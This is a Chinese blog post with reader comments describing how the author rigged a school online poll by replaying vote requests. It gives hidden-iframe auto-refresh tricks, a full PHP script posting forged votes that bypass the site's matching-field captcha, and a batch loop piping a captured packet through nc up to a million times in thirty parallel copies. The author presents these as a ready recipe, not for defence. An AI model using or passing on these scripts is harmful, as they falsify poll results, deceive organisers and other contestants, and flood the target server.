最近,朋友的朋友参加了学校的评比,在Q上叫我帮忙投票.很容易,因为没有验证码,打勾,再按Enter,就投了一票.
投了几分钟,觉得效率很低,距离目标还有很远,手工的话除了累,还不知要花多少时间在这上面.于是,我决定来个自动投票..
很早就听说了"刷票"这一词,但一直没有亲自参加过,也不知从何做起.刚开始,叫牧师分析了一下,得出结论,直接在Opera下运行save.asp?x1=61&aa=52,就投了一票.
这样效率有点低, 我新建了一个页面,放上框架
<iframe name="res" style="display:none;" src="/save.asp?x1=61&aa=52" frameborder=“0” scrolling="yes" height="100px" width="100px"></iframe>
,多放几个这框架,然后在Opera设置自动刷新.
为什么不用IE呢,如下图...
opera有个功能可以停止执行页面的脚本,设置Opera的自动刷新页面,就能自动刷票了.
很快就到了第一名.第二天,朋友问我,怎么按回车投不了票了.我看了一下,原来网站添加了验证码功能,朋友没有写验证码当然不能投了.认真看了下,这个验证码是数字的而不是图片.于是,想用PHP试试能不能自动填写验证码再提交form到网站的save.asp.利用htmlSQL把页面的验证码采集下来
点了提交之后,就投票成功.再退回上一页,验证码没有变化,再点提交,竟然又可以成功投一票!多次试验后,果真如此.但这是手动的,想要它自动提交还真难.在网上找了好久,都找不到成功自动提交的方法.最后更换搜索关键词"PHP 自动提交post" ,然后找到了"PHP 模拟post",接着找到"wsockexpert抓包工具",利用wsockexpert得到一个包.
可以得到,POST的数据是"x1=61&shuzi=1779&bb=1779&aa=52",x1=61是投票选中的复选框的值,shuzi=1779是输入的验证码,bb=1779是系统产生的验证码,aa=52是隐藏值不知作何用.验证码是4位的数字,只要shuzi和bb的值相同就可以了.
然后用PHP一秒钟刷新一次,提交POST数据
<?php
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",1);post('deloz.net','/save.asp','x1=61&shuzi=1779&bb=1779&aa=52');
header('Refresh: 1;');
function post($host,$path,$data)
{
$fp = fsockopen($host, 80);
fputs($fp,"POST $path HTTP/1.1\r\n");
fputs($fp,"Host: $host\r\n");
fputs($fp,"Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp,"Content-length: " . strlen($data) . "\r\n");
fputs($fp, "User-Agent: MSIE\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
$buf='';
while (!feof($fp)) {
$buf .= fgets($fp,128);
}
fclose($fp);
return $buf;
}
echo '<p>壹秒投壹次</p>';
?>
刚开始程序正常,慢慢的又发现新问题了...1秒才投一票速度太慢,投太多,PHP又超时,导致Opera卡死...看来,PHP并不适合做这种高速运动.只好寻求更好的办法..
想起牧师说过一句"nc",试着搜索"nc wsockexpert 刷票",让人大喜,找到了一篇介绍这2者配合刷票的文章.具体是这样的.也是用wsockexpert找出post包,然后把这些数据写在一个文档postdata.txt,接着,新建一个shuapiao.txt,把下面代码复制进去.(把红色部分的域名修改为投票网站的域名)
@ECHO OFF
SET /A counter=0
:top
SET /a counter=%counter%+1
ECHO 已经刷了 %counter% 票
nc deloz.net 80 <postdata.txt
if %counter% LSS 1000000 GOTO :top
ECHO Run complete
按ctrl+s保存,然后修改shuapiao.txt为shuapiao.bat..
最后,把nc.exe,shuapiao.bat,postdata.txt放在同一文件夹中,双击shuapiao.bat,就开始自动投票了...如下图所示:
多运行几个shuapiao.bat,就能快速刷票,我开了30个..很有速度,但蛮占CPU的..
这次自动投票,没有复杂的验证码,没有限制IP,之类的东西,用这个方法刷得很爽.但感觉有点离谱了,除了还有几个人是上万的票数,其他的都是不到1W...
相关文章
转载原创文章请注明,转载自:
Deloz.Net
[Deloz.Net]
本文地址:http://deloz.net/1000000499.html
13条评论 发表评论
太不纯洁了,所以现在的验证码都看不清了,都是你们这些人搞的
不介意链接下么 呵呵。
江南夜色's_Blog http://www.hellomc.cn
主会原谅你的.
哈哈 幸亏我比江南夜色快一步 赶上趟儿了 哈哈
江南夜色。。。
呃。。。我飘过,不介意吧。。。
不介意.
花哥神人,一如既往的膜拜。。。